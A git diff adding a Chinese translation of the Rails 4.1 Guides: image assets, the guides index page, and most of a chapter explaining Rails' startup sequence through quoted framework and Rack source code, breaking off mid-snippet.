/dev/null and b/v4.1/images/has_one_through.png differ diff --git a/v4.1/images/header_backdrop.png b/v4.1/images/header_backdrop.png new file mode 100644 index 0000000..72b0304 Binary files /dev/null and b/v4.1/images/header_backdrop.png differ diff --git a/v4.1/images/header_tile.gif b/v4.1/images/header_tile.gif new file mode 100644 index 0000000..6b1af15 Binary files /dev/null and b/v4.1/images/header_tile.gif differ diff --git a/v4.1/images/i18n/demo_html_safe.png b/v4.1/images/i18n/demo_html_safe.png new file mode 100644 index 0000000..9afa8eb Binary files /dev/null and b/v4.1/images/i18n/demo_html_safe.png differ diff --git a/v4.1/images/i18n/demo_localized_pirate.png b/v4.1/images/i18n/demo_localized_pirate.png new file mode 100644 index 0000000..bf8d0b5 Binary files /dev/null and b/v4.1/images/i18n/demo_localized_pirate.png differ diff --git a/v4.1/images/i18n/demo_translated_en.png b/v4.1/images/i18n/demo_translated_en.png new file mode 100644 index 0000000..e887bfa Binary files /dev/null and b/v4.1/images/i18n/demo_translated_en.png differ diff --git a/v4.1/images/i18n/demo_translated_pirate.png b/v4.1/images/i18n/demo_translated_pirate.png new file mode 100644 index 0000000..aa5618a Binary files /dev/null and b/v4.1/images/i18n/demo_translated_pirate.png differ diff --git a/v4.1/images/i18n/demo_translation_missing.png b/v4.1/images/i18n/demo_translation_missing.png new file mode 100644 index 0000000..867aa7c Binary files /dev/null and b/v4.1/images/i18n/demo_translation_missing.png differ diff --git a/v4.1/images/i18n/demo_untranslated.png b/v4.1/images/i18n/demo_untranslated.png new file mode 100644 index 0000000..2ea6404 Binary files /dev/null and b/v4.1/images/i18n/demo_untranslated.png differ diff --git a/v4.1/images/icons/README b/v4.1/images/icons/README new file mode 100644 index 0000000..09da77f --- /dev/null +++ b/v4.1/images/icons/README @@ -0,0 +1,5 @@ +Replaced the plain DocBook XSL admonition icons with Jimmac's DocBook +icons (http://jimmac.musichall.cz/ikony.php3). I dropped transparency +from the Jimmac icons to get round MS IE and FOP PNG incompatibilities. + +Stuart Rackham diff --git a/v4.1/images/icons/callouts/1.png b/v4.1/images/icons/callouts/1.png new file mode 100644 index 0000000..c5d02ad Binary files /dev/null and b/v4.1/images/icons/callouts/1.png differ diff --git a/v4.1/images/icons/callouts/10.png b/v4.1/images/icons/callouts/10.png new file mode 100644 index 0000000..fe89f9e Binary files /dev/null and b/v4.1/images/icons/callouts/10.png differ diff --git a/v4.1/images/icons/callouts/11.png b/v4.1/images/icons/callouts/11.png new file mode 100644 index 0000000..3b7b931 Binary files /dev/null and b/v4.1/images/icons/callouts/11.png differ diff --git a/v4.1/images/icons/callouts/12.png b/v4.1/images/icons/callouts/12.png new file mode 100644 index 0000000..7b95925 Binary files /dev/null and b/v4.1/images/icons/callouts/12.png differ diff --git a/v4.1/images/icons/callouts/13.png b/v4.1/images/icons/callouts/13.png new file mode 100644 index 0000000..4b99fe8 Binary files /dev/null and b/v4.1/images/icons/callouts/13.png differ diff --git a/v4.1/images/icons/callouts/14.png b/v4.1/images/icons/callouts/14.png new file mode 100644 index 0000000..4274e65 Binary files /dev/null and b/v4.1/images/icons/callouts/14.png differ diff --git a/v4.1/images/icons/callouts/15.png b/v4.1/images/icons/callouts/15.png new file mode 100644 index 0000000..70e4bba Binary files /dev/null and b/v4.1/images/icons/callouts/15.png differ diff --git a/v4.1/images/icons/callouts/2.png b/v4.1/images/icons/callouts/2.png new file mode 100644 index 0000000..8c57970 Binary files /dev/null and b/v4.1/images/icons/callouts/2.png differ diff --git a/v4.1/images/icons/callouts/3.png b/v4.1/images/icons/callouts/3.png new file mode 100644 index 0000000..57a33d1 Binary files /dev/null and b/v4.1/images/icons/callouts/3.png differ diff --git a/v4.1/images/icons/callouts/4.png b/v4.1/images/icons/callouts/4.png new file mode 100644 index 0000000..f061ab0 Binary files /dev/null and b/v4.1/images/icons/callouts/4.png differ diff --git a/v4.1/images/icons/callouts/5.png b/v4.1/images/icons/callouts/5.png new file mode 100644 index 0000000..b4de02d Binary files /dev/null and b/v4.1/images/icons/callouts/5.png differ diff --git a/v4.1/images/icons/callouts/6.png b/v4.1/images/icons/callouts/6.png new file mode 100644 index 0000000..0e055ee Binary files /dev/null and b/v4.1/images/icons/callouts/6.png differ diff --git a/v4.1/images/icons/callouts/7.png b/v4.1/images/icons/callouts/7.png new file mode 100644 index 0000000..5ead87d Binary files /dev/null and b/v4.1/images/icons/callouts/7.png differ diff --git a/v4.1/images/icons/callouts/8.png b/v4.1/images/icons/callouts/8.png new file mode 100644 index 0000000..cb99545 Binary files /dev/null and b/v4.1/images/icons/callouts/8.png differ diff --git a/v4.1/images/icons/callouts/9.png b/v4.1/images/icons/callouts/9.png new file mode 100644 index 0000000..0ac0360 Binary files /dev/null and b/v4.1/images/icons/callouts/9.png differ diff --git a/v4.1/images/icons/caution.png b/v4.1/images/icons/caution.png new file mode 100644 index 0000000..7227b54 Binary files /dev/null and b/v4.1/images/icons/caution.png differ diff --git a/v4.1/images/icons/example.png b/v4.1/images/icons/example.png new file mode 100644 index 0000000..de23c0a Binary files /dev/null and b/v4.1/images/icons/example.png differ diff --git a/v4.1/images/icons/home.png b/v4.1/images/icons/home.png new file mode 100644 index 0000000..24149d6 Binary files /dev/null and b/v4.1/images/icons/home.png differ diff --git a/v4.1/images/icons/important.png b/v4.1/images/icons/important.png new file mode 100644 index 0000000..dafcf0f Binary files /dev/null and b/v4.1/images/icons/important.png differ diff --git a/v4.1/images/icons/next.png b/v4.1/images/icons/next.png new file mode 100644 index 0000000..355b329 Binary files /dev/null and b/v4.1/images/icons/next.png differ diff --git a/v4.1/images/icons/note.png b/v4.1/images/icons/note.png new file mode 100644 index 0000000..08d35a6 Binary files /dev/null and b/v4.1/images/icons/note.png differ diff --git a/v4.1/images/icons/prev.png b/v4.1/images/icons/prev.png new file mode 100644 index 0000000..ea564c8 Binary files /dev/null and b/v4.1/images/icons/prev.png differ diff --git a/v4.1/images/icons/tip.png b/v4.1/images/icons/tip.png new file mode 100644 index 0000000..d834e6d Binary files /dev/null and b/v4.1/images/icons/tip.png differ diff --git a/v4.1/images/icons/up.png b/v4.1/images/icons/up.png new file mode 100644 index 0000000..379f004 Binary files /dev/null and b/v4.1/images/icons/up.png differ diff --git a/v4.1/images/icons/warning.png b/v4.1/images/icons/warning.png new file mode 100644 index 0000000..72a8a5d Binary files /dev/null and b/v4.1/images/icons/warning.png differ diff --git a/v4.1/images/nav_arrow.gif b/v4.1/images/nav_arrow.gif new file mode 100644 index 0000000..ff08181 Binary files /dev/null and b/v4.1/images/nav_arrow.gif differ diff --git a/v4.1/images/oscardelben.jpg b/v4.1/images/oscardelben.jpg new file mode 100644 index 0000000..9f3f67c Binary files /dev/null and b/v4.1/images/oscardelben.jpg differ diff --git a/v4.1/images/polymorphic.png b/v4.1/images/polymorphic.png new file mode 100644 index 0000000..a3cbc45 Binary files /dev/null and b/v4.1/images/polymorphic.png differ diff --git a/v4.1/images/radar.png b/v4.1/images/radar.png new file mode 100644 index 0000000..421b62b Binary files /dev/null and b/v4.1/images/radar.png differ diff --git a/v4.1/images/rails4_features.png b/v4.1/images/rails4_features.png new file mode 100644 index 0000000..b3bd5ef Binary files /dev/null and b/v4.1/images/rails4_features.png differ diff --git a/v4.1/images/rails_guides_kindle_cover.jpg b/v4.1/images/rails_guides_kindle_cover.jpg new file mode 100644 index 0000000..f068bd9 Binary files /dev/null and b/v4.1/images/rails_guides_kindle_cover.jpg differ diff --git a/v4.1/images/rails_guides_logo.gif b/v4.1/images/rails_guides_logo.gif new file mode 100644 index 0000000..9b0ad5a Binary files /dev/null and b/v4.1/images/rails_guides_logo.gif differ diff --git a/v4.1/images/rails_logo_remix.gif b/v4.1/images/rails_logo_remix.gif new file mode 100644 index 0000000..58960ee Binary files /dev/null and b/v4.1/images/rails_logo_remix.gif differ diff --git a/v4.1/images/session_fixation.png b/v4.1/images/session_fixation.png new file mode 100644 index 0000000..ac3ab01 Binary files /dev/null and b/v4.1/images/session_fixation.png differ diff --git a/v4.1/images/tab_grey.gif b/v4.1/images/tab_grey.gif new file mode 100644 index 0000000..995adb7 Binary files /dev/null and b/v4.1/images/tab_grey.gif differ diff --git a/v4.1/images/tab_info.gif b/v4.1/images/tab_info.gif new file mode 100644 index 0000000..e9dd164 Binary files /dev/null and b/v4.1/images/tab_info.gif differ diff --git a/v4.1/images/tab_note.gif b/v4.1/images/tab_note.gif new file mode 100644 index 0000000..f9b546c Binary files /dev/null and b/v4.1/images/tab_note.gif differ diff --git a/v4.1/images/tab_red.gif b/v4.1/images/tab_red.gif new file mode 100644 index 0000000..0613093 Binary files /dev/null and b/v4.1/images/tab_red.gif differ diff --git a/v4.1/images/tab_yellow.gif b/v4.1/images/tab_yellow.gif new file mode 100644 index 0000000..39a3c2d Binary files /dev/null and b/v4.1/images/tab_yellow.gif differ diff --git a/v4.1/images/tab_yellow.png b/v4.1/images/tab_yellow.png new file mode 100644 index 0000000..3ab1c56 Binary files /dev/null and b/v4.1/images/tab_yellow.png differ diff --git a/v4.1/images/vijaydev.jpg b/v4.1/images/vijaydev.jpg new file mode 100644 index 0000000..fe5e4f1 Binary files /dev/null and b/v4.1/images/vijaydev.jpg differ diff --git a/v4.1/index.html b/v4.1/index.html new file mode 100644 index 0000000..1cadb4e --- /dev/null +++ b/v4.1/index.html @@ -0,0 +1,372 @@ + + + + + + + +Ruby on Rails 指南 + + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Ruby on Rails 指南 (651bba1)

+
+

基于 Rails 4.1 翻译而成。

+ +

Rails Guides 涵盖 Rails 的方方面面,文章内容深入浅出,易于理解,是 Rails 入门、开发的必备参考。

+ +

+ 其它版本:Rails 4.0.8Rails 3.2.19Rails 2.3.11。 +

+ + +
+
+
由此图案标记的指南代表原文正在撰写中,或是尚待翻译。正在撰写中的原文不会收录在上方的指南目录里。可能包含不完整的资讯与错误。
+
+
+ +
+
+ +
+
+
+ + + +

入门

+
+
Rails 入门
+

从安装到建立第一个应用程序所需知道的一切。

+
+

模型

+
+
Active Record 基础
+

本篇介绍 Models、数据库持久性以及 Active Record 模式。

+
Active Record 数据库迁移
+

本篇介绍如何有条有理地使用 Active Record 来修改数据库。

+
Active Record 数据验证
+

本篇介绍如何使用 Active Record 验证功能。

+
Active Record 回调
+

本篇介绍如何使用 Active Record 回调功能。

+
Active Record 关联
+

本篇介绍如何使用 Active Record 的关联功能。

+
Active Record 查询
+

本篇介绍如何使用 Active Record 的数据库查询功能。

+
+

视图

+
+
Action View 基础
原文撰写中
+

本篇介绍 Action View 辅助方法。

+
Rails 布局和视图渲染
+

本篇介绍 Action Controller 与 Action View 基本的版型功能,包含了渲染、重定向、使用 `content_for` 区块、以及。

+
Action View 表单帮助方法
+

本篇介绍 Action View 的表单帮助方法。

+
+

控制器

+
+
Action Controller 简介
+

本篇介绍 Controller 的工作原理,Controller 在请求周期所扮演的角色。内容包含 Session、滤动器、Cookies、资料串流以及如何处理由请求所发起的异常。

+
Rails 路由全解
+

本篇介绍与使用者息息相关的路由功能。想了解如何使用 Rails 的路由,从这里开始。

+
+

深入

+
+
Active Support 核心扩展
待翻译
+

本篇介绍由 Active Support 定义的核心扩展功能。

+
Rails 国际化 API
+

本篇介绍如何国际化应用程序。将应用程序翻译成多种语言、更改单复数规则、对不同的国家使用正确的日期格式等。

+
Action Mailer 基础
+

本篇介绍如何使用 Action Mailer 来收发信件。

+
Active Job 基础
+

本篇提供创建背景任务、任务排程以及执行任务的所有知识。

+
Rails 程序测试指南
原文撰写中
+

本篇介绍 Rails 里的单元与功能性测试,从什么是测试,解说到如何测试 API。

+
Rails 安全指南
+

本篇介绍网路应用程序常见的安全问题,如何在 Rails 里处理这些问题。

+
调试 Rails 程序
+

本篇介绍如何给 Rails 应用程式除错。包含了多种除错技巧、如何理解与了解程式码背后究竟发生了什么事。

+
设置 Rails 程序
+

本篇介绍 Rails 应用程序的基本设置选项。

+
Rails 命令行
+

本篇介绍 Rails 提供的 Rake 任务与命令行功能。

+
Rails 缓存简介
原文撰写中
+

本篇介绍 Rails 提供的多种缓存技巧。

+
Asset Pipeline
+

本篇介绍 Asset Pipeline。

+
在 Rails 中使用 JavaScript
+

本篇介绍 Rails 内置的 Ajax 与 JavaScript 功能。

+
Engine 入门
原文撰写中
待翻译
+

本篇介绍如何撰写可嵌入至应用程序的 Engine。

+
Rails 启动过程
原文撰写中
+

本篇介绍 Rails 内部的启动过程。

+
Constant Autoloading and Reloading
+

This guide documents how constant autoloading and reloading work.

+
+

扩展 Rails

+
+
新建 Rails Plugins 的基础
原文撰写中
待翻译
+

本篇介绍如何开发 Plugin 来扩展 Rails 的功能。

+
Rails on Rack
+

本篇介绍 Rack 如何与 Rails 整合,以及如何与其他 Rack 组件互动。

+
客制与新建 Rails 产生器
待翻译
+

本篇介绍如何加入新的产生器、修改 Rails 内建的产生器。

+
Rails 应用程式模版
待翻译
+

本篇介绍如何使用应用程式模版。

+
+

贡献 Ruby on Rails

+
+
贡献 Ruby on Rails
待翻译
+

Rails 不是“某个人”独有的框架。本篇介绍如何参与 Rails 开发。

+
API 文件准则
待翻译
+

本篇记录了撰写 API 文件的准则。

+
Ruby on Rails 指南准则
待翻译
+

本篇记录了撰写 Ruby on Rails 指南的准则。

+
+

维护方针

+
+
维护方针
+

Ruby on Rails 目前官方支持的版本、何时发布新版本。

+
+

发布记

+
+
升级 Ruby on Rails
待翻译
+

本篇帮助您将程序升级至最新版本。

+
Ruby on Rails 4.2 发布记
+

Rails 4.2 的发布记。

+
Ruby on Rails 4.1 发布记
+

Rails 4.1 的发布记。

+
Ruby on Rails 4.0 发布记
待翻译
+

Rails 4.0 的发布记。

+
Ruby on Rails 3.2 发布记
待翻译
+

Rails 3.2 的发布记。

+
Ruby on Rails 3.1 发布记
待翻译
+

Rails 3.1 的发布记。

+
Ruby on Rails 3.0 发布记
待翻译
+

Rails 3.0 的发布记。

+
Ruby on Rails 2.3 发布记
待翻译
+

Rails 2.3 的发布记。

+
Ruby on Rails 2.2 发布记
待翻译
+

Rails 2.2 的发布记。

+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/initialization.html b/v4.1/initialization.html new file mode 100644 index 0000000..924c411 --- /dev/null +++ b/v4.1/initialization.html @@ -0,0 +1,813 @@ + + + + + + + +Rails 应用的初始化过程 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails 应用的初始化过程

本章节介绍了 Rails 4 应用启动的内部流程,适合有一定经验的Rails应用开发者阅读。

通过学习本章节,您会学到如下知识:

+
    +
  • 如何使用 rails server
  • +
  • Rails应用初始化的时间序列;
  • +
  • Rails应用启动过程都用到哪些文件;
  • +
  • Rails::Server接口的定义和使用;
  • +
+ + + + +
+
+ +
+
+
+

本章节通过介绍一个基于Ruby on Rails框架默认配置的 Rails 4 应用程序启动过程中的方法调用,详细介绍了每个调用的细节。通过本章节,我们将了解当你执行rails server命令启动你的Rails应用时,背后究竟都发生了什么。

提示:本章节中的路径如果没有特别说明都是指Rails应用程序下的路径。

提示:如果你想浏览Rails的源代码sourcecode,强烈建议您使用快捷键 t快速查找Github中的文件。

1 启 动 !

我们现在准备启动和初始化一个Rails 应用。 一个Rails 应用经常是以运行命令 rails console 或者 rails server 开始的。

1.1 railties/bin/rails +

Rails应用中的 rails server命令是Rails应用程序所在文件中的一个Ruby的可执行程序,该程序包含如下操作:

+
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
+
+
+
+

如果你在Rails 控制台中使用上述命令,你将会看到载入railties/bin/rails这个路径。作为 railties/bin/rails.rb的一部分,包含如下代码:

+
+require "rails/cli"
+
+
+
+

模块railties/lib/rails/cli 会调用Rails::AppRailsLoader.exec_app_rails方法.

1.2 railties/lib/rails/app_rails_loader.rb +

exec_app_rails模块的主要功能是去执行你的Rails应用中bin/rails文件夹下的指令。如果当前文件夹下没有bin/rails文件,它会到父级目录去搜索,直到找到为止(Windows下应该会去搜索环境变量中的路径),在Rails应用程序目录下的任意位置(命令行模式下),都可以执行rails的命令。

因为rails server命令和下面的操作是等价的:

+
+$ exec ruby bin/rails server
+
+
+
+

1.3 bin/rails +

文件railties/bin/rails包含如下代码:

+
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
+
+
+
+

APP_PATH稍后会在rails/commands中用到。config/boot在这被引用是因为我们的Rails应用中需要config/boot.rb文件来载入Bundler,并初始化Bundler的配置。

1.4 config/boot.rb +

config/boot.rb 包含如下代码:

+
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
+
+
+
+

在一个标准的Rails应用中的Gemfile文件会配置它的所有依赖项。config/boot.rb文件会根据ENV['BUNDLE_GEMFILE']中的值来查找Gemfile文件的路径。如果Gemfile文件存在,那么bundler/setup操作会被执行,Bundler执行该操作是为了配置Gemfile依赖项的加载路径。

一个标准的Rails应用会包含若干Gem包,特别是下面这些:

+
    +
  • actionmailer
  • +
  • actionpack
  • +
  • actionview
  • +
  • activemodel
  • +
  • activerecord
  • +
  • activesupport
  • +
  • arel
  • +
  • builder
  • +
  • bundler
  • +
  • erubis
  • +
  • i18n
  • +
  • mail
  • +
  • mime-types
  • +
  • polyglot
  • +
  • rack
  • +
  • rack-cache
  • +
  • rack-mount
  • +
  • rack-test
  • +
  • rails
  • +
  • railties
  • +
  • rake
  • +
  • sqlite3
  • +
  • thor
  • +
  • treetop
  • +
  • tzinfo
  • +
+

1.5 rails/commands.rb +

一旦config/boot.rb执行完毕,接下来要引用的是rails/commands文件,这个文件于帮助解析别名。在本应用中,ARGV 数组包含的 server项会被匹配:

+
+ARGV << '--help' if ARGV.empty?
+
+aliases = {
+  "g"  => "generate",
+  "d"  => "destroy",
+  "c"  => "console",
+  "s"  => "server",
+  "db" => "dbconsole",
+  "r"  => "runner"
+}
+
+command = ARGV.shift
+command = aliases[command] || command
+
+require 'rails/commands/commands_tasks'
+
+Rails::CommandsTasks.new(ARGV).run_command!(command)
+
+
+
+

提示: 如你所见,一个空的ARGV数组将会让系统显示相关的帮助项。

如果我们使用s缩写代替 server,Rails系统会从aliases中查找匹配的命令。

1.6 rails/commands/command_tasks.rb +

当你键入一个错误的rails命令,run_command函数会抛出一个错误信息。如果命令正确,一个与命令同名的方法会被调用。

+
+COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help)
+
+def run_command!(command)
+  command = parse_command(command)
+  if COMMAND_WHITELIST.include?(command)
+    send(command)
+  else
+    write_error_message(command)
+  end
+end
+
+
+
+

如果执行server命令,Rails将会继续执行下面的代码:

+
+def set_application_directory!
+  Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+end
+
+def server
+  set_application_directory!
+  require_command!("server")
+
+  Rails::Server.new.tap do |server|
+    # We need to require application after the server sets environment,
+    # otherwise the --environment option given to the server won't propagate.
+    require APP_PATH
+    Dir.chdir(Rails.application.root)
+    server.start
+  end
+end
+
+def require_command!(command)
+  require "rails/commands/#{command}"
+end
+
+
+
+

这个文件将会指向Rails的根目录(与APP_PATH中指向config/application.rb不同),但是如果没找到config.ru文件,接下来将需要rails/commands/server来创建Rails::Server类。

+
+require 'fileutils'
+require 'optparse'
+require 'action_dispatch'
+require 'rails'
+
+module Rails
+  class Server < ::Rack::Server
+
+
+
+

fileutilsoptparse 是Ruby标准库中帮助操作文件和解析选项的函数。

1.7 actionpack/lib/action_dispatch.rb +

动作分发(Action Dispatch)是Rails框架中的路径组件。它增强了路径,会话和中间件的功能。

1.8 rails/commands/server.rb +

这个文件中定义的Rails::Server类是继承自Rack::Server类的。当Rails::Server.new被调用时,会在 rails/commands/server.rb中调用一个initialize方法:

+
+def initialize(*)
+  super
+  set_environment
+end
+
+
+
+

首先,super会调用父类Rack::Server中的initialize方法。

1.9 Rack: lib/rack/server.rb +

Rack::Server会为所有基于Rack的应用提供服务接口,现在它已经是Rails框架的一部分了。

Rack::Server中的initialize 方法会简单的设置一对变量:

+
+def initialize(options = nil)
+  @options = options
+  @app = options[:app] if options && options[:app]
+end
+
+
+
+

在这种情况下,options 的值是 nil,所以在这个方法中相当于什么都没做。

Rack::Server中的super方法执行完毕后。我们回到rails/commands/server.rb,此时此刻,Rails::Server对象会调用 set_environment 方法,这个方法貌似看上去什么也没干:

+
+def set_environment
+  ENV["RAILS_ENV"] ||= options[:environment]
+end
+
+
+
+

事实上,options方法在这做了很多事情。Rack::Server 中的这个方法定义如下:

+
+def options
+  @options ||= parse_options(ARGV)
+end
+
+
+
+

接着parse_options方法部分代码如下:

+
+def parse_options(args)
+  options = default_options
+
+  # Don't evaluate CGI ISINDEX parameters.
+  # http://www.meb.uni-bonn.de/docs/cgi/cl.html
+  args.clear if ENV.include?("REQUEST_METHOD")
+
+  options.merge! opt_parser.parse!(args)
+  options[:config] = ::File.expand_path(options[:config])
+  ENV["RACK_ENV"] = options[:environment]
+  options
+end
+
+
+
+

default_options方法的代码如下:

+
+def default_options
+  environment  = ENV['RACK_ENV'] || 'development'
+  default_host = environment == 'development' ? 'localhost' : '0.0.0.0'
+
+  {
+    :environment => environment,
+    :pid         => nil,
+    :Port        => 9292,
+    :Host        => default_host,
+    :AccessLog   => [],
+    :config      => "config.ru"
+  }
+end
+
+
+
+

ENV中没有REQUEST_METHOD项,所以我们可以忽略这一行。接下来是已经在 Rack::Server被定义好的opt_parser方法:

+
+def opt_parser
+  Options.new
+end
+
+
+
+

这个方法已经在Rack::Server被定义过了,但是在Rails::Server 使用不同的参数进行了重载。他的 parse!方法如下:

+
+def parse!(args)
+  args, options = args.dup, {}
+
+  opt_parser = OptionParser.new do |opts|
+    opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
+    opts.on("-p", "--port=port", Integer,
+            "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+  ...
+
+
+
+

这个方法为options建立一些配置选项,以便给Rails决定如何运行服务提供支持。initialize方法执行完毕后。我们将回到rails/server目录下,就是APP_PATH中的路径。

1.10 config/application +

require APP_PATH操作执行完毕后。config/application.rb 被载入了 (重新调用bin/rails中的APP_PATH), 在你的应用中,你可以根据需求对该文件进行配置。

1.11 Rails::Server#start +

config/application载入后,server.start方法被调用了。这个方法定义如下:

+
+def start
+  print_boot_information
+  trap(:INT) { exit }
+  create_tmp_directories
+  log_to_stdout if options[:log_stdout]
+
+  super
+  ...
+end
+
+private
+
+  def print_boot_information
+    ...
+    puts "=> Run `rails server -h` for more startup options"
+    ...
+    puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+  end
+
+  def create_tmp_directories
+    %w(cache pids sessions sockets).each do |dir_to_make|
+      FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+    end
+  end
+
+  def log_to_stdout
+    wrapped_app # touch the app so the logger is set up
+
+    console = ActiveSupport::Logger.new($stdout)
+    console.formatter = Rails.logger.formatter
+    console.level = Rails.logger.level
+
+    Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
+  end
+
+
+
+

这是Rails初始化过程中的第一次控制台输出。这个方法创建了一个INT中断信号,所以当你在服务端控制台按下CTRL-C键后,这将终止Server的运行。我们可以看到,它创建了tmp/cache,tmp/pids, tmp/sessionstmp/sockets等目录。在创建和声明ActiveSupport::Logger之前,会调用 wrapped_app方法来创建一个Rake 应用程序。

super会调用Rack::Server.start 方法,该方法定义如下:

+
+def start &blk
+  if options[:warn]
+    $-w = true
+  end
+
+  if includes = options[:include]
+    $LOAD_PATH.unshift(*includes)
+  end
+
+  if library = options[:require]
+    require library
+  end
+
+  if options[:debug]
+    $DEBUG = true
+    require 'pp'
+    p options[:server]
+    pp wrapped_app
+    pp app
+  end
+
+  check_pid! if options[:pid]
+
+  # Touch the wrapped app, so that the config.ru is loaded before
+  # daemonization (i.e. before chdir, etc).
+  wrapped_app
+
+  daemonize_app if options[:daemonize]
+
+  write_pid if options[:pid]
+
+  trap(:INT) do
+    if server.respond_to?(:shutdown)
+      server.shutdown
+    else
+      exit
+    end
+  end
+
+  server.run wrapped_app, options, &blk
+end
+
+
+
+

上述Rails 应用有趣的部分在最后一行,server.run方法。它再次调用了wrapped_app方法(温故而知新)。

+
+@wrapped_app ||= build_app app
+
+
+
+

这里的app方法定义如下:

+
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+
+
+
+

options[:config]中的值默认会从 config.ru 中获取,包含如下代码:

+
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment', __FILE__)
+run <%= app_const %>
+
+
+
+

Rack::Builder.parse_file方法会从config.ru中获取内容,包含如下代码:

+
+app = new_from_string cfgfile, config
+
+...
+
+def self.new_from_string(builder_script, file="(rackup)")
+  eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
+    TOPLEVEL_BINDING, file, 0
+end
+
+
+
+

Rack::Builder中的initialize方法会创建一个新的Rack::Builder实例,这是Rails应用初始化过程中主要内容。接下来config.ru中的requireconfig/environment.rb会继续执行:

+
+require ::File.expand_path('../config/environment', __FILE__)
+
+
+
+

1.12 config/environment.rb +

这是config.ru (rails server)和信使(Passenger)都要用到的文件,是两者交流的媒介。之前的操作都是为了创建Rack和Rails。

这个文件是以引用 config/application.rb开始的:

+
+require File.expand_path('../application', __FILE__)
+
+
+
+

1.13 config/application.rb +

这个文件需要引用config/boot.rb

+
+require File.expand_path('../boot', __FILE__)
+
+
+
+

如果之前在rails server中没有引用上述的依赖项,那么它将不会和信使(Passenger)发生联系。

现在,有趣的部分要开始了!

2 加载 Rails

config/application.rb中的下一行是这样的:

+
+require 'rails/all'
+
+
+
+

2.1 railties/lib/rails/all.rb +

本文件中将引用和Rails框架相关的所有内容:

+
+require "rails"
+
+%w(
+  active_record
+  action_controller
+  action_view
+  action_mailer
+  rails/test_unit
+  sprockets
+).each do |framework|
+  begin
+    require "#{framework}/railtie"
+  rescue LoadError
+  end
+end
+
+
+
+

这样Rails框架中的所有组件已经准备就绪了。我们将不会深入介绍这些框架的内部细节,不过强烈建议您去探索和发现她们。

现在,我们关心的模块比如Rails engines,I18n 和 Rails configuration 都已经准备就绪了。

2.2 回到 config/environment.rb +

config/application.rbRails::Application定义了Rails应用初始化之后所有需要用到的资源。当config/application.rb 加载了Rails和命名空间后,我们回到config/environment.rb,就是初始化完成的地方。比如我们的应用叫‘blog’,我们将在rails/application.rb中调用Rails.application.initialize!方法。

2.3 railties/lib/rails/application.rb +

initialize!方法部分代码如下:

+
+def initialize!(group=:default) #:nodoc:
+  raise "Application has been already initialized." if @initialized
+  run_initializers(group, self)
+  @initialized = true
+  self
+end
+
+
+
+

如你所见,一个应用只能初始化一次。初始化器通过在railties/lib/rails/initializable.rb中的run_initializers方法运行:

+
+def run_initializers(group=:default, *args)
+  return if instance_variable_defined?(:@ran)
+  initializers.tsort_each do |initializer|
+    initializer.run(*args) if initializer.belongs_to?(group)
+  end
+  @ran = true
+end
+
+
+
+

run_initializers代码本身是有点投机取巧的,Rails在这里要做的是遍历所有的祖先,查找一个initializers方法,之后根据名字进行排序,并依次执行它们。举个例子,Engine类将调用自己和祖先中名为initializers的方法。

Rails::Application 类是在railties/lib/rails/application.rb定义的。定义了bootstrap, railtiefinisher模块的初始化器。bootstrap的初始化器在应用被加载以前就预加载了。(类似初始化中的日志记录器),finisher的初始化器则是最后加载的。railtie初始化器被定义在Rails::Application中,执行是在bootstrapfinishers之间。

这些完成后,我们将回到Rack::Server

2.4 Rack: lib/rack/server.rb

上次我们离开的时候,app 方法代码如下:

+
+def app
+  @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+  def build_app_and_options_from_config
+    if !::File.exist? options[:config]
+      abort "configuration #{options[:config]} not found"
+    end
+
+    app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
+    self.options.merge! options
+    app
+  end
+
+  def build_app_from_string
+    Rack::Builder.new_from_string(self.options[:builder])
+  end
+
+
+
+

此时此刻,app是Rails 应用本身(中间件)。接下来就是Rack调用所有的依赖项了(提供支持的中间件):

+
+def build_app(app)
+  middleware[options[:environment]].reverse_each do |middleware|
+    middleware = middleware.call(self) if middleware.respond_to?(:call)
+    next unless middleware
+    klass = middleware.shift
+    app = klass.new(app, *middleware)
+  end
+  app
+end
+
+
+
+

必须牢记,Server#start最后一行中调用了build_app方法(被wrapped_app调用)了。接下来我们看看还剩下什么:

+
+server.run wrapped_app, options, &blk
+
+
+
+

此时此刻,调用server.run 方法将依赖于你所用的Server类型 。比如,如果你的Server是Puma, 那么就会是下面这个结果:

+
+...
+DEFAULT_OPTIONS = {
+  :Host => '0.0.0.0',
